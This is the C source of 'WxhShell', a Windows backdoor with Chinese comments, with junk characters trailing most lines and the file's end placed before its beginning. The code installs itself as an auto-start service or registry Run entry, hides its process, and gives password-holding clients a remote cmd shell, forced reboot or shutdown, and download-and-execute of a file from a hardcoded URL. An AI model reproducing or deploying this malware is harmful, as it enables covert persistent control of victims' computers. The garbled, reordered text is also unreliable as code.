    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3+xy4 G@L  
    else { z *9FlV  
    closesocket(wsh); ukuo:P<a  
    ExitThread(0); W~ULc 9  
    } 4'Xgk8)  
    break; C+F*690h  
    } PzZZ>7_6S  
  // 获取shell G",.,Px  
  case 's': { .wK1El{bf  
    CmdShell(wsh); p|XAlia  
    closesocket(wsh); HFo-4"  
    ExitThread(0); ]Z4zF"@  
    break; 68R1AqU_  
  } w7-WUvxl  
  // 退出 % *z-PT22  
  case 'x': { gJ3c;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?4z8)E9Ju  
    CloseIt(wsh); ?mRE'#  
    break; RbQ <m!A  
    } :Gh~fm3}  
  // 离开 V/"}ku  
  case 'q': { jN/C'\Q L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?M6ag_h3  
    closesocket(wsh); ~fzuwz  
    WSACleanup(); |G=[5e^s[  
    exit(1); AxCI 0  
    break; o*ANi;1]&B  
        } ; !$m1  
  } #Ogt(5Sd  
  } =qoRS0Qa  
|V`S >m%N  
  // 提示信息 8SnS~._9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <%bw/  
} Jp;k+ "<q  
  } ~!+h?[miV  
Ff"gadRXd  
  return; tfiqr|z  
} . %(^mK)zQ  
Q e1oT)  
// shell模块句柄 0^_MN~s(X  
int CmdShell(SOCKET sock) 5M?mYNQR/H  
{ %!.M~5mCd  
STARTUPINFO si; ZL%VOxYqi  
ZeroMemory(&si,sizeof(si)); R]b! $6Lt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WOndE=(V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \3{3ly~L  
PROCESS_INFORMATION ProcessInfo; G%w_CMfH  
char cmdline[]="cmd"; PHR#>ZD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aIGn9:\  
  return 0; gOE_ ]  
} boQ)fV"  
W7!.#b(hU  
// 自身启动模式 0#|7U_n  
int StartFromService(void) (zah890//  
{ 0K3Hf^>m  
typedef struct 2uu[52H8d%  
{ B!q?_[k,  
  DWORD ExitStatus; N+>'J23d!  
  DWORD PebBaseAddress; rycJyiw<-  
  DWORD AffinityMask; f4]&pcK  
  DWORD BasePriority; J%r7<y\  
  ULONG UniqueProcessId; &,uC9$  
  ULONG InheritedFromUniqueProcessId; wr@GN8e`  
}   PROCESS_BASIC_INFORMATION; !d4HN.a7+u  
ib50LCm  
PROCNTQSIP NtQueryInformationProcess; E*4t8  
^_w*XV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `Yogq)G}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XqFu(Lm8=  
X\G)81Q.S  
  HANDLE             hProcess; %<S7  
  PROCESS_BASIC_INFORMATION pbi; e 2*F;.)  
ZKsQ2"8{M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,^+#M{Z  
  if(NULL == hInst ) return 0; )_pt*xo  
LY1KQuY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z\h, SX<U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z[FI2jl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;siJ~|6)  
:xN8R^(  
  if (!NtQueryInformationProcess) return 0; F(G<* lA  
b60[({A\s&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~GYpa t  
  if(!hProcess) return 0; E~69^ cd  
X o_] v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 67ZYtA|t  
<!hpfTz*  
  CloseHandle(hProcess); m\} =4b  
9M0d+:YJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Dwk$CJb3-  
if(hProcess==NULL) return 0; IE@ z@+\(  
8q{1E];:q  
HMODULE hMod; (-#rFO5~l  
char procName[255]; I4CHfs"ar  
unsigned long cbNeeded; tbRE/L<  
sMN>wbHwh[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uJm#{[  
t0I>5#*WU  
  CloseHandle(hProcess); `L+ ~&M  
b3P9Yoj-  
if(strstr(procName,"services")) return 1; // 以服务启动 s?~8O|Mu'  
wFn@\3%l`  
  return 0; // 注册表启动  }Olr  
} ;4R =eI  
n8 GF8a  
// 主模块 <?nB,U  
int StartWxhshell(LPSTR lpCmdLine) p5D5%B/  
{ q!9^#c  
  SOCKET wsl; *EX$v4BX  
BOOL val=TRUE; )Xq@v']%~9  
  int port=0; % i %ew4  
  struct sockaddr_in door; Gmqs`{tc  
n=;';(wR[  
  if(wscfg.ws_autoins) Install(); o- cj&Cv%  
1mY+0  
port=atoi(lpCmdLine); 3^j~~ "2,w  
%GNUnr$  
if(port<=0) port=wscfg.ws_port; $hyqYp"/;  
l@~1CMyN  
  WSADATA data; C,9)V5!tP2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >a?OXqYP  
g?w2J6Z.`J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e~tr^$/(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o(?VX`2"  
  door.sin_family = AF_INET; XKpL4]{&q4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 97['VOh0  
  door.sin_port = htons(port); v@F|O8t:s  
Mp]yKl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q x9>,e6+  
closesocket(wsl); N8Rm})  
return 1; }<6oFUZ  
} Usa{J:  
KyuA5jQ7  
  if(listen(wsl,2) == INVALID_SOCKET) { ?ZSXoy-kr  
closesocket(wsl); vgUhN_rK  
return 1; [] GthF  
} n25irCD`  
  Wxhshell(wsl); [Ihp\!xqI  
  WSACleanup(); c^i"}2+  
g;u<[>'I  
return 0; OqEg{o5 a&  
{bAWc.  
} pDLu+ }@  
I$3"|7[n  
// 以NT服务方式启动 +YGw4{\EL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lM@<_=2  
{ Q0 uP8I}n  
DWORD   status = 0; hLDch5J5~  
  DWORD   specificError = 0xfffffff; ]7XkijNb  
aB$y+`f)@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oTplxF1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k"Z"$V2i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fPh}l  
  serviceStatus.dwWin32ExitCode     = 0; Q1O_CC}  
  serviceStatus.dwServiceSpecificExitCode = 0; 0?J|C6XM#4  
  serviceStatus.dwCheckPoint       = 0; kT Z?+hx  
  serviceStatus.dwWaitHint       = 0; fD3jwPL  
|.Y@^z;P3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a>&;K@  
  if (hServiceStatusHandle==0) return; 5 WN`8?  
\-$b o=s.  
status = GetLastError(); 0Y38 T)k  
  if (status!=NO_ERROR) z*NC?\  
{ #Lhj0M;a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xN{"%>Mx  
    serviceStatus.dwCheckPoint       = 0; !]{1h  
    serviceStatus.dwWaitHint       = 0; %-1BA *J`|  
    serviceStatus.dwWin32ExitCode     = status; uv~qK:Nw(  
    serviceStatus.dwServiceSpecificExitCode = specificError; A}t&-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KG4#BY&^  
    return; Q+u#?['  
  } )JY_eG&2Dx  
`Q1WVd29  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dIBKE0`  
  serviceStatus.dwCheckPoint       = 0; ]]h:#A2  
  serviceStatus.dwWaitHint       = 0; (^s&M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5 CY_Ay\  
} zDvP7hl  
[0tf Y0  
// 处理NT服务事件,比如:启动、停止 /IrR,bvA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .@8m\  
{ },Re5W nl  
switch(fdwControl) \CJx=[3(  
{ mD^qx0o<  
case SERVICE_CONTROL_STOP: 8XH|T^5  
  serviceStatus.dwWin32ExitCode = 0; !CVBG *E^l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >^a"Z[s[  
  serviceStatus.dwCheckPoint   = 0; |$SvD2^  
  serviceStatus.dwWaitHint     = 0; z[KN^2YS  
  { C<wj?!v,F[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d=4f`q0k  
  } FVC2XxP  
  return; f9 l<$l  
case SERVICE_CONTROL_PAUSE: aaqd:N)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z[|PsC3i:  
  break; U>plv  
case SERVICE_CONTROL_CONTINUE: eUKl Co  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U$/Hp#~X  
  break; 0r$hPmvv8  
case SERVICE_CONTROL_INTERROGATE: YPff)0Nh  
  break; rs 1*H  
}; ?D~SHcBaN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NBg>i7KQ  
} mBpsgm:g^  
_iboTcUF  
// 标准应用程序主函数 X!+Mgh6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ev: !,}]w  
{ ^;k _  
M ly z><  
// 获取操作系统版本 0w[0%:R^  
OsIsNt=GetOsVer(); J6["j   
GetModuleFileName(NULL,ExeFile,MAX_PATH); I>8@=V~  
]6VUqFO)  
  // 从命令行安装 n0_Az2   
  if(strpbrk(lpCmdLine,"iI")) Install(); j]?0}Z*  
$vGEY7,  
  // 下载执行文件 WtdkA Sj  
if(wscfg.ws_downexe) { 6kF uMtjc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qqhb]<z  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,@>rubUz  
} a] wcA  
w[A3;]la  
if(!OsIsNt) { qn"T? O  
// 如果时win9x,隐藏进程并且设置为注册表启动 @`y?\fWh  
HideProc(); >ya-  
StartWxhshell(lpCmdLine); i{FC1tVeL_  
} CU>K  
else rLw[y$2  
  if(StartFromService()) RBD7mpd  
  // 以服务方式启动  wpdEI(  
  StartServiceCtrlDispatcher(DispatchTable); vK.4JOlRF  
else 9c;lTl^4;  
  // 普通方式启动 rDx],O _  
  StartWxhshell(lpCmdLine); $9i5<16  
gAUQQ  
return 0; W7[ S7kd  
} y0&HXX#\  
ihBl",l&Hq  
N evvA(M  
+e]b,9.sR  
=========================================== :*Ggz|  
_}D?+x,C8  
4e#K.HU_  
Jx9%8Ek  
VUv.Tx]Z[  
x[>_I1TJ  
"  ~M^7qO  
,M h/3DPgE  
#include <stdio.h> ;Kq?*H  
#include <string.h> &?`&X=Q  
#include <windows.h> y{?jr$js<  
#include <winsock2.h> fh)`kZDk  
#include <winsvc.h> :=7'1H  
#include <urlmon.h> h8-tbHgpb  
_]ttKT(  
#pragma comment (lib, "Ws2_32.lib") f -nC+   
#pragma comment (lib, "urlmon.lib") wXZY5-h4  
k Z[yv  
#define MAX_USER   100 // 最大客户端连接数 ,L:)ZZgN  
#define BUF_SOCK   200 // sock buffer 0S7Isk2W  
#define KEY_BUFF   255 // 输入 buffer ,h`D(,?X  
{]Iu">*  
#define REBOOT     0   // 重启 2,Dc]oj  
#define SHUTDOWN   1   // 关机 `LU,uz  
: RO:k|g  
#define DEF_PORT   5000 // 监听端口 ![!b^:f  
7%!KAtc  
#define REG_LEN     16   // 注册表键长度 ?HyioLO  
#define SVC_LEN     80   // NT服务名长度 *-LU'yM6Yh  
#*M$,ig  
// 从dll定义API =pOY+S|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1sLfjH hv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?N*@o.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (a!,)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); % P)}(e6y  
E d/O\v@  
// wxhshell配置信息 HU+H0S~g  
struct WSCFG { o5 XUDDi  
  int ws_port;         // 监听端口 0i `Zy!  
  char ws_passstr[REG_LEN]; // 口令 F^G`Jf  
  int ws_autoins;       // 安装标记, 1=yes 0=no 76r s)J[*w  
  char ws_regname[REG_LEN]; // 注册表键名 c qyh#uWe  
  char ws_svcname[REG_LEN]; // 服务名 &LQab>{*K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {$:13AnK   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3'e 4{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b}*bgx@<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =~m"TQv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M%^laf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8J1.(Mwb?  
:uDB3jN[  
}; kDa#yN\  
HKw:fGt/o^  
// default Wxhshell configuration kP@OIhRe  
struct WSCFG wscfg={DEF_PORT, |?=1tS{iT  
    "xuhuanlingzhe", ClZyQ=UAD  
    1, G_mu7w  
    "Wxhshell", Tic9r i  
    "Wxhshell", /k"P4\P`+Q  
            "WxhShell Service", !|c5@0Wr  
    "Wrsky Windows CmdShell Service", -- FtFo  
    "Please Input Your Password: ", (Fd4Gw<sq  
  1, p'}%pAY  
  "http://www.wrsky.com/wxhshell.exe", NmF2E+'  
  "Wxhshell.exe" 8!>pFVNJf  
    }; t O>qd#I  
6 74X)hB  
// 消息定义模块 (Z +C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ".<p R} qp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }TvAjLIS6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h!~yYNQ"  
char *msg_ws_ext="\n\rExit."; Ft !~w#&-  
char *msg_ws_end="\n\rQuit."; 0pOha(,~  
char *msg_ws_boot="\n\rReboot..."; H4Ek,m|c  
char *msg_ws_poff="\n\rShutdown..."; x=N;>  
char *msg_ws_down="\n\rSave to "; h--bN*}H2  
':$a6f &T  
char *msg_ws_err="\n\rErr!"; \0*LfVr;P  
char *msg_ws_ok="\n\rOK!"; >WX'oP(<  
M6!brj\[|  
char ExeFile[MAX_PATH]; q% 9oGYjvQ  
int nUser = 0; p2^OQK  
HANDLE handles[MAX_USER]; ek!N eu>  
int OsIsNt; ^yTN (\9  
/p"R}&z  
SERVICE_STATUS       serviceStatus; +ETw:i9!?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <~w#sIh  
"O "@HVF@  
// 函数声明 b@hoH)<9E  
int Install(void); W:J00rsv=`  
int Uninstall(void); Yl])Q|2I  
int DownloadFile(char *sURL, SOCKET wsh); k<H&4Z)d9  
int Boot(int flag); Y;>'~V#R  
void HideProc(void); v^ G5 N)F  
int GetOsVer(void); #cb6~AH  
int Wxhshell(SOCKET wsl); E@KK\m \e  
void TalkWithClient(void *cs); BW 7[JD  
int CmdShell(SOCKET sock); 6I0MJpLW  
int StartFromService(void); H#E0S>Jw|  
int StartWxhshell(LPSTR lpCmdLine); xd<68%Cn  
w"|c;E1;_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gEu\X|7'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'C<=bUM  
1S:H!h3  
// 数据结构和表定义 V-3]h ba,  
SERVICE_TABLE_ENTRY DispatchTable[] = 'P#I<?vB  
{ ntejFy9_  
{wscfg.ws_svcname, NTServiceMain}, Q23y.^W%c  
{NULL, NULL} C7PiuL?  
}; {5h_$a!TaU  
_guY%2% yR  
// 自我安装 hlZjk0ez  
int Install(void) Kw|`y %~  
{ qxx.f5 8H  
  char svExeFile[MAX_PATH]; JV>OmUAk  
  HKEY key; F/Xhm91 ^  
  strcpy(svExeFile,ExeFile); L  z  
x&d<IU)5  
// 如果是win9x系统,修改注册表设为自启动 ( 9l|^w["  
if(!OsIsNt) { nDvWOt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xT/&'$@{)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LmE-&  
  RegCloseKey(key); qz&)|~,\C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g d-fJ._1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZSNg^)cN  
  RegCloseKey(key); DI\sq8J^  
  return 0; ~nQb;Bdh%  
    } EbQ}w"{  
  } ^BZdR<;  
} T"jl;,gr]J  
else { YS*t7  
c LJCLKJ  
// 如果是NT以上系统,安装为系统服务 y~fy0P:T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e_I 8Jj4  
if (schSCManager!=0) ;/.ZYTD  
{ yT4|eHl  
  SC_HANDLE schService = CreateService JpDkf$kM  
  ( 3]i1M%'i  
  schSCManager, 1X5\VY>S`h  
  wscfg.ws_svcname, `6/7},"9t  
  wscfg.ws_svcdisp, dj=n1f+;[  
  SERVICE_ALL_ACCESS, n!p&.Mt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iq#Z\Y(  
  SERVICE_AUTO_START, KR*/yeG!E  
  SERVICE_ERROR_NORMAL, 9SPu 4i  
  svExeFile, -[=`bHo  
  NULL, LYX+/@OU2  
  NULL, 8Y9mB #X  
  NULL, F2&KTK  
  NULL, l},%g%}iMU  
  NULL . XmD[=  
  ); ]O[f#lG  
  if (schService!=0) Ii)TCSt9U?  
  { __QT lj  
  CloseServiceHandle(schService); \h-[u%  
  CloseServiceHandle(schSCManager); [;(| ^0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bke 1 F '  
  strcat(svExeFile,wscfg.ws_svcname); >QyMeH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ul=`]@]]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V;m3=k0U  
  RegCloseKey(key); <AVpFy  
  return 0; #&2mu  
    } Q~9:}_@  
  }  >4Lb+]  
  CloseServiceHandle(schSCManager); ,=mn*  
} b7$?'neH/.  
} |89`O^   
,Yo In  
return 1; u$0>K,f  
} Z'EZPuZ!'  
'j.{o  
// 自我卸载 ''Hq-Ng  
int Uninstall(void) pY2nv/  
{ xkX, l{6  
  HKEY key; 8Vq,J:+  
{PfE7KH  
if(!OsIsNt) { x*YJ :t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B *:6U+I  
  RegDeleteValue(key,wscfg.ws_regname); 8]0^OSS  
  RegCloseKey(key); p~r +2(J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P6X 4m(t  
  RegDeleteValue(key,wscfg.ws_regname); -X |G  
  RegCloseKey(key); k -SUp8}g  
  return 0; z_zr3XR9  
  } L<E`~\C'  
} `T-(g1:9  
} ~2pctqMA  
else { Gm*i='f!?  
I3SLR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c=ZX7U  
if (schSCManager!=0) 3i7n"8\$  
{ bzZEwMc6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GwpJxiFgk  
  if (schService!=0) e'u 9 SpJ  
  { t.]oLG22r  
  if(DeleteService(schService)!=0) { f~E'0f_  
  CloseServiceHandle(schService); N 4Dyec\  
  CloseServiceHandle(schSCManager); ecr pv+  
  return 0; T9u/|OP  
  } "5vFa7y  
  CloseServiceHandle(schService); iLFF "Hs  
  } '*22j ]  
  CloseServiceHandle(schSCManager); lGs fs(  
} xGz$M@f  
} Lx2.E1?@  
lqu1H&  
return 1; XO\P4x :c  
} (zUERw\a X  
:U?Kwv8s  
// 从指定url下载文件 r] 2}S=[  
int DownloadFile(char *sURL, SOCKET wsh) Nk]r2^.z[  
{ RM,r0Kv17Y  
  HRESULT hr; 3q<\ \8Y*  
char seps[]= "/"; m\j'7mZ1  
char *token; KbSIKj  
char *file; w${=]h*2  
char myURL[MAX_PATH]; %<K`d  
char myFILE[MAX_PATH]; ~`T3 i  
~g)gXPjke  
strcpy(myURL,sURL); q S2#=  
  token=strtok(myURL,seps); y&B~UeB:q  
  while(token!=NULL) 4K:p  
  { 6f0 WN  
    file=token; zZseK  
  token=strtok(NULL,seps); wn5CaP(]8  
  } k_$w+Q  
4mUQVzV  
GetCurrentDirectory(MAX_PATH,myFILE); A{Pp`*l  
strcat(myFILE, "\\"); eZT923tD  
strcat(myFILE, file); *cJ GrLC  
  send(wsh,myFILE,strlen(myFILE),0); #\o VbVq  
send(wsh,"...",3,0); d+Pfi)+(I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E[^66(KR  
  if(hr==S_OK) * r$(lf  
return 0; _G,`s7Q,w  
else JT,8/o  
return 1; a";(C ,:0  
^HQg$}=  
} h@t&n@8O?  
[@_}BZk  
// 系统电源模块 o%5^dX&[  
int Boot(int flag) T)qD}hl  
{ n ;y<!L7  
  HANDLE hToken; OcwD<Xy  
  TOKEN_PRIVILEGES tkp; ) j_g*<  
bncIxxe  
  if(OsIsNt) { >y &9!G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sJ{NbN~`I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xm6cn\e  
    tkp.PrivilegeCount = 1; 0sLR5A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /9QI^6& SX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D<]z.33  
if(flag==REBOOT) { ;*[nZV>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rB~x]5TH  
  return 0; "(>P=  
} &+u) +<&;(  
else { E?m(&O j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :)SLi  
  return 0; m\)z& hv<r  
} %tT&/F  
  } CD;C z*c  
  else { gT 22!  
if(flag==REBOOT) { l}A8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7loIX Qw  
  return 0; E9!u|&$S  
} pdX%TrM+[:  
else { ^w/_hY!4/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zB kS1qMn  
  return 0; |[7xTD  
} > SU2Jw  
} s_}T -%\  
}SR}ET&z  
return 1; :UGc6  
} DG}} S 5  
5*l~7R  
// win9x进程隐藏模块 gNY}`'~hr  
void HideProc(void) eZ#nZB  
{ 7{e0^V,\k  
dlsVE~_G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?>SC:{(  
  if ( hKernel != NULL ) 9=p^E#d  
  { eLXG _Qb"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (vMC.y5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~3< Li}W  
    FreeLibrary(hKernel); ua# sW  
  } {%.FIw k  
2iYf)MC  
return; 1bs 8fUPB3  
} P$?3\`U;  
{1,]8!HBJ  
// 获取操作系统版本 P~$FgAV  
int GetOsVer(void) E$"( :%'v  
{ yNMnByg3?  
  OSVERSIONINFO winfo; (F@.o1No%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i>#[*.|P  
  GetVersionEx(&winfo); o_>id^$>B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c |OIUc  
  return 1; 4)./d2/E  
  else {Hxvt~P  
  return 0; !4cO]wh5  
} *NzHY;e  
ICwhqH&  
// 客户端句柄模块 G?e"A0,  
int Wxhshell(SOCKET wsl) ,&[2z!  
{ >Q':+|K}  
  SOCKET wsh; 9|#YKO\\i  
  struct sockaddr_in client; SEsc"l8  
  DWORD myID; ov>Rvy  
Rd7[e^HSN  
  while(nUser<MAX_USER) 72@lDY4cE  
{ ~"F83+RDe  
  int nSize=sizeof(client); (GB2("p`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dXR 70/  
  if(wsh==INVALID_SOCKET) return 1; PF5;2  
ip6$Z3[)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mNS7/I\  
if(handles[nUser]==0) ljg2P5  
  closesocket(wsh); JQ|qg\[  
else JRQ{Q"`)  
  nUser++; dE R#)bGj  
  } 8l,`~jvU!*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); # LRN@?P  
*PQu9>1w  
  return 0; \z"0lAv"  
} Z^?1MJ:`  
v"'Co6fw  
// 关闭 socket pm$ZKM  
void CloseIt(SOCKET wsh) `tZu~ n  
{ 6b1f ?0  
closesocket(wsh); xszGao'  
nUser--; P&PPX#%  
ExitThread(0); c"qaULY  
} h_Ky2IB$  
qFEGV+  
// 客户端请求句柄 g%()8QxE1  
void TalkWithClient(void *cs) WmU5YZ(mAq  
{ 01v7_*'R  
C? pi8Xg  
  SOCKET wsh=(SOCKET)cs; m# #( uSh  
  char pwd[SVC_LEN]; u{Jv6K,  
  char cmd[KEY_BUFF]; ke.{wh\0  
char chr[1]; V=yRE  
int i,j; v=!Ap ; 2L  
0Y rdu,c  
  while (nUser < MAX_USER) { ,Qvclu8r  
K:PzR,nn  
if(wscfg.ws_passstr) { ?v-Y1j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F O"8B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yn&AMq ]o  
  //ZeroMemory(pwd,KEY_BUFF); =%u\x=u|  
      i=0; QmQsNcF~z  
  while(i<SVC_LEN) { >7@kwj-f)  
rMDo5Z2  
  // 设置超时 _?UW,5=O  
  fd_set FdRead; eL)* K>T  
  struct timeval TimeOut; kOfq6[JC  
  FD_ZERO(&FdRead); cd8ZZ 8L  
  FD_SET(wsh,&FdRead); rBBA`Ut@F  
  TimeOut.tv_sec=8; -QH[gi{%`  
  TimeOut.tv_usec=0; ,:yv T6)p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z4S0{:XY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <^:e)W  
j.C)KwelBS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "=~P&Mi_  
  pwd=chr[0]; W}+f}/&l  
  if(chr[0]==0xd || chr[0]==0xa) { eF8!}|*N  
  pwd=0; }7k!>+eQ  
  break; _n9+(X3  
  } {0(:7IY,  
  i++; h&|wqna  
    } NwQexYm1_  
H^jFvAI,8  
  // 如果是非法用户,关闭 socket ~$g$31/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "BB#[@  
} |&IS ZFSv  
]:* 8 Mb#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TmS;ybsG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K`.wj8zGY  
by*>w/@9)k  
while(1) { J"w!Q\_  
Mwdh]I,#  
  ZeroMemory(cmd,KEY_BUFF); [BS3y`c  
c"aiZ(aP  
      // 自动支持客户端 telnet标准   YJgw%UVJ5m  
  j=0; bH7[6#y$  
  while(j<KEY_BUFF) { } g  WSV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U_a)g X  
  cmd[j]=chr[0]; D .3Q0a6  
  if(chr[0]==0xa || chr[0]==0xd) { DbSl}N;  
  cmd[j]=0; \Cx) ~bq<  
  break; ]2n&DJu  
  } VQHJ O I  
  j++; 7Dy\-9:v  
    } Oq{&hH/'}  
]d"4G7mu`l  
  // 下载文件 7> -y,?&  
  if(strstr(cmd,"http://")) { fFXG;Q8&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .vRLK  
  if(DownloadFile(cmd,wsh)) `n8) o%E9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mwFI89J'  
  else SsjO1F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qF6YH  
  } * [*#cMZ   
  else { +MC>?rr_u  
`gqBJi  
    switch(cmd[0]) { /U<-N'|  
